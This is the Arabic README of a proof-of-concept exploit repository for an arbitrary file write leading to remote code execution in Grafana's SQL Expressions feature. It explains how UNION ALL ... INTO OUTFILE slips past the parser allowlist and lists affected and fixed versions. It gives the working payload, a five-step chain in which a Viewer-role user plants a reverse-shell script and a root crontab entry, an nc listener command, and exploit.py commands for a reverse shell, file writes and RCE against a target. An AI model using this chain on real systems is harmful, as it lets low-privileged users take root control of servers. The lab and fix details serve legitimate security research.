
Grafana تعبيرات SQL كتابة ملف تعسفي إلى RCE
CVSS 9.1 حرج | كتابة ملفات تعسفية | تنفيذ كود عن بُعد
https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56
تستخدم ميزة تعبيرات SQL في Grafana (مفتاح sqlExpressions) محرك SQL داخليًا (dolthub/go-mysql-server) مع قائمة سماح معيبة في AST. عقدة SetOp (UNION ALL) تجتاز التحقق ولا تقوم walkSubtree() الخاصة بها باجتياز العقدة الفرعية Into — مما يسمح لـ INTO OUTFILE بكتابة ملفات تعسفية على نظام ملفات الخادم كمستخدم عملية Grafana.
يمكن لأي مستخدم مصادق (دور Viewer أو أعلى) ربط ذلك بتنفيذ كود كامل عن بُعد عبر قشرة عكسية تعتمد على cron.
| النطاق | المتأثر | المُصلَح |
|---|---|---|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |
يتطلب تفعيل مفتاح ميزة sqlExpressions.
ثغرة متراكبة في pkg/expr/sql/:
parser_allow.go: تستخدم allowedNode() قيمة إرجاع مسماة b = true. حالة *sqlparser.SetOp تُرجع true (مسموح)، ولا تقوم SetOp.walkSubtree() باجتياز العقدة الفرعية Into. هذا يعني أن UNION ALL ... INTO OUTFILE يتجاوز قائمة السماح بالكامل.
db.go: يتم إنشاء سياق محرك SQL بدون WithDisableFileWrites(true)، لذا يقوم INTO OUTFILE بالكتابة على القرص.
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
ينتج (SELECT ...) INTO OUTFILE منفردًا عقدة ParenSelect وهي محظورة. أما دمج جزأين أو أكثر من SELECT مع UNION ALL فينتج عقدة SetOp تتجاوز الفحص.
1. المصادقة (دور Viewer كافٍ)
2. POST /api/ds/query مع مصدر بيانات __expr__، النوع "sql"
3. UNION ALL INTO OUTFILE يكتب سكربت قشرة عكسية إلى /tmp/
4. كتابة ثانية تضع إدخال cron في /etc/crontabs/root
5. يعمل cron خلال 60 ثانية -> قشرة عكسية بصلاحيات root
cd lab/
docker compose up -d
# انتظر حتى يصبح Grafana جاهزًا (~15 ثانية)
يعمل Grafana على http://localhost:3333 ببيانات الاعتماد admin:admin.
الطرفية 1 — المستمع:
nc -lvnp 4444
الطرفية 2 — الاستغلال:
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
تصل القشرة العكسية خلال 60 ثانية.
# التحقق مما إذا كان الهدف عرضة للثغرة (بدون كتابة)
python3 exploit.py -t http://TARGET:3000 --check
# كتابة ملف تعسفي
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# كتابة ملف محلي إلى الهدف
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# تنفيذ كود عن بُعد عبر توفير مصدر البيانات (بدون الحاجة إلى cron)
python3 exploit.py -t http://TARGET:3000 --rce
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
لإعادة تشغيل الاستغلال بعد تشغيل سابق، نظّف أولاً — لا يمكن لـ INTO OUTFILE الكتابة فوق الملفات الموجودة.
الالتزام 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):
parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nilparser_allow.go: case *sqlparser.Into: return v == nildb.go: mysql.WithDisableFileWrites(true).
├── README.md
├── analysis.md # تحليل كامل للسبب الجذري
├── lab/
│ ├── docker-compose.yml # مختبر Grafana 12.4.0 (مؤكد)
│ ├── Dockerfile # صورة مخصصة مع دعم cron
│ ├── entrypoint.sh # يبدأ crond + Grafana
│ └── setup.sh # سكربت الإعداد التلقائي
└── poc/
├── exploit.py # إثبات مفهوم كامل مع تنفيذ كود عن بُعد
└── cvss-justification.md
لأغراض البحث الأمني المصرح به والاختبار المخبري الخاضع للتحكم فقط. لا تستخدم ضد الأنظمة دون إذن صريح.